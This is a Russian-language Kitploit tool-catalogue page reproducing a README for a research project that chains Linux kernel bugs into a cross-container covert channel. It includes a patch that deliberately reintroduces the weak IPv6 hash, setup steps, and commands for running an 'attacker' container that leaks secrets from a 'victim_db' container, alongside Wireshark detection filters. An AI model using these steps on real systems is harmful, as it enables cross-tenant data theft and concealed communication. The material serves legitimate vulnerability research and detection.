Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-1206-CVE-2025-40040-CVE-2024-49882 — 3 цепочки багов ядра linux для создания защищенного коммуникационного приложения с использованием побочного канала для установки ключа и создания скрытого канала; | Kitploit
Инструменты/GitHubGitHub/spiralbl0ck/cve-2023-1206-cve-2025-40040-cve-2024-49882
Безопасность контейнеровЭксплуатацияЭксфильтрация данныхСетевая безопасностьПобег из КонтейнераЭксплуатация Бинарных Файлов
GitHubspiralbl0ck/cve-2023-1206-cve-2025-40040-cve-2024-49882

CVE-2023-1206-CVE-2025-40040-CVE-2024-49882

3 цепочки багов ядра linux для создания защищенного коммуникационного приложения с использованием побочного канала для установки ключа и создания скрытого канала;

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
1241910 месяцев назадЕщё не проверено

Объединенный скрытый канал: CVE-2023-1206 + CVE-2024-49882

Обзор

Этот проект демонстрирует скрытый канал связи с использованием двух уязвимостей ядра Linux:

КомпонентCVEНазначение
Канал синхронизацииCVE-2023-1206Синхронизация времени через измерение коллизий хеша IPv6
Канал данныхCVE-2024-49882Передача данных между контейнерами через утечки hugepage
┌─────────────────────────────────────────────────────────────────────┐
│                    НЕЗАШИФРОВАННЫЙ СКРЫТЫЙ КАНАЛ                    │
├─────────────────────────────────────────────────────────────────────┤
│  Контейнер A (Отправитель)          Контейнер B (Получатель)        │
│  ┌─────────────────┐               ┌─────────────────┐              │
│  │ 1. Запись данных│               │ 4. Обнаружение  │              │
│  │    в hugepage   │               │    преамбулы    │              │
│  └────────┬────────┘               └────────┬────────┘              │
│           │                                 │                        │
│           ▼                                 ▼                        │
│  ┌─────────────────┐   Коллизия   ┌─────────────────┐              │
│  │ 2. Отправка     │──хеша IPv6──▶│ 5. Измерение    │              │
│  │    преамбулы    │   Время      │    задержки     │              │
│  └────────┬────────┘               └────────┬────────┘              │
│           │                                 │                        │
│           ▼                                 ▼                        │
│  ┌─────────────────┐   Повторное  ┌─────────────────┐              │
│  │ 3. Освобождение │──использование──▶│ 6. Захват     │              │
│  │    hugepage     │   hugepage   │    утекших      │              │
│  └─────────────────┘               │    данных      │              │
│                                     └─────────────────┘              │
└─────────────────────────────────────────────────────────────────────┘

Предварительные требования

1. Настройка ядра (CVE-2023-1206)

Вам потребуется ядро 6.12 с воспроизведённой уязвимостью:

# Клонирование исходников ядра
cd ~
git clone --depth=1 --branch v6.12 https://github.com/torvalds/linux.git linux-6.12
cd linux-6.12

# Применение патча уязвимости
cat << 'EOF' > /tmp/vuln_patch.patch
--- a/include/net/ipv6.h
+++ b/include/net/ipv6.h
@@ -750,7 +750,12 @@ static inline u32 ipv6_addr_hash(const struct in6_addr *a)
 /* more secured version of ipv6_addr_hash() */
 static inline u32 __ipv6_addr_jhash(const struct in6_addr *a, const u32 initval)
 {
-	return jhash2((__force const u32 *)a->s6_addr32, 4, initval);
+	u32 v = (__force u32)a->s6_addr32[0] ^ (__force u32)a->s6_addr32[1];
+
+	return jhash_3words(v,
+			    (__force u32)a->s6_addr32[2],
+			    (__force u32)a->s6_addr32[3],
+			    initval);
 }
EOF

patch -p1 < /tmp/vuln_patch.patch

# Сборка и установка
cp /boot/config-$(uname -r) .config
make olddefconfig
make -j$(nproc)
sudo make modules_install
sudo make install
sudo update-grub

# Перезагрузка в уязвимое ядро
sudo reboot

2. Настройка hugepages (CVE-2024-49882)

# Выделение hugepages
echo 256 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages

# Проверка
cat /sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages

# Загрузка модуля udmabuf
sudo modprobe udmabuf

# Проверка существования /dev/udmabuf
ls -la /dev/udmabuf

3. Настройка Docker

# Установка Docker с поддержкой IPv6
sudo apt-get update
sudo apt-get install -y docker.io docker-compose

# Включение IPv6 в Docker
sudo cat > /etc/docker/daemon.json << 'EOF'
{
  "ipv6": true,
  "fixed-cidr-v6": "fd00::/80",
  "experimental": true,
  "ip6tables": true
}
EOF

sudo systemctl restart docker

Быстрый старт

Сборка всего

cd ~/covert_channel

# Сборка на хосте
make

# Сборка Docker-контейнеров
docker-compose build

Тест 1: Проверка CVE-2023-1206 (Канал синхронизации)

# Запуск теста коллизий
./test_collision

# Ожидаемый вывод:
# [VULNERABLE] All addresses hash to same value!
# [CRITICAL] ALL 1M addresses landed in ONE bucket!

Тест 2: Межконтейнерная утечка данных (CVE-2024-49882)

# Терминал 1: Запуск базы данных жертвы
docker-compose up victim_db

# Терминал 2: Запуск атакующего
docker-compose run --rm attacker
# Внутри контейнера:
cd /exploit
./exploit_debug

# Терминал 3: Остановка жертвы для запуска утечки
docker stop victim_db

# Наблюдайте за терминалом 2 — там появятся украденные секреты!

Тест 3: Полный скрытый канал

# Терминал 1: Запуск получателя
docker-compose run --rm receiver
cd /exploit
./covert_channel -r

# Терминал 2: Запуск отправителя
docker-compose run --rm sender
cd /exploit
./covert_channel -s "СЕКРЕТНОЕ СООБЩЕНИЕ ИЗ КОНТЕЙНЕРА A"

# Наблюдайте за терминалом 1 — сообщение будет получено!

Анализ в Wireshark

Настройка захвата

# На хосте захват трафика моста Docker
sudo tcpdump -i docker0 -w covert_channel.pcap

# Или захват конкретной сети
sudo tcpdump -i br-$(docker network ls -q -f name=covert_net) -w covert.pcap

Фильтры Wireshark

# Фильтр для канала синхронизации (IPv6 TCP SYN flood)
ipv6 && tcp.flags.syn == 1 && tcp.flags.ack == 0

# Фильтр для трафика в конкретную корзину коллизий
ipv6.dst contains 20:01:0d:b8

# Фильтр по порту
tcp.port == 31337

# Показать только попытки соединения (без данных)
tcp.len == 0 && tcp.flags.syn == 1

# Анализ по времени (соединений в секунду)
# Statistics -> I/O Graphs -> Y Axis: Packets/s

На что обращать внимание

  1. Преамбула синхронизации: Чередующиеся всплески SYN-пакетов

    • Высокая частота пакетов при битах '1'
    • Низкая частота или отсутствие пакетов при битах '0'
  2. Временной паттерн:

    • Длительность бита ~100 мс
    • Всплески из 1000+ соединений
  3. Паттерн адресов IPv6:

    • У всех исходных адресов будет одинаковое значение XOR(addr[0], addr[1])
    • Это признак коллизии

Lua-диссектор для Wireshark (опционально)

Сохраните как ~/.local/lib/wireshark/plugins/covert_channel.lua:

-- Covert Channel Dissector for CVE-2023-1206

local covert_proto = Proto("covert_sync", "CVE-2023-1206 Covert Sync")

local f_collision = ProtoField.bool("covert.collision", "Hash Collision")
local f_bucket = ProtoField.uint32("covert.bucket", "Target Bucket", base.HEX)

covert_proto.fields = { f_collision, f_bucket }

function covert_proto.dissector(buffer, pinfo, tree)
    -- Check for IPv6 TCP SYN
    if pinfo.ipv6_src and pinfo.match_uint("tcp.flags", 0x02) then
        local src = pinfo.ipv6_src
        -- Check for collision pattern
        local a0 = src:get_bytes(0, 4)
        local a1 = src:get_bytes(4, 4)
        -- XOR check would go here
        
        local subtree = tree:add(covert_proto, buffer())
        subtree:add(f_collision, true)
    end
end

-- Register for TCP
local tcp_table = DissectorTable.get("tcp.port")
tcp_table:add(31337, covert_proto)

Визуализация с помощью tshark

# График частоты пакетов в реальном времени
tshark -i docker0 -f "tcp port 31337" -q -z io,stat,0.1

# Извлечение данных о времени для построения графика
tshark -r covert.pcap -T fields -e frame.time_relative -e ipv6.src \
    -Y "tcp.flags.syn==1" > timing_data.csv

# Построение графика с помощью gnuplot
gnuplot << 'EOF'
set terminal png size 1200,400
set output 'timing_channel.png'
set xlabel 'Time (s)'
set ylabel 'Packets'
set title 'CVE-2023-1206 Covert Sync Channel'
plot 'timing_data.csv' using 1:(1) smooth frequency with impulses
EOF

Устранение неполадок

Нет доступных hugepages

# Проверка текущего выделения
cat /proc/meminfo | grep Huge

# Увеличение выделения
echo 512 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages
Скачать инструмент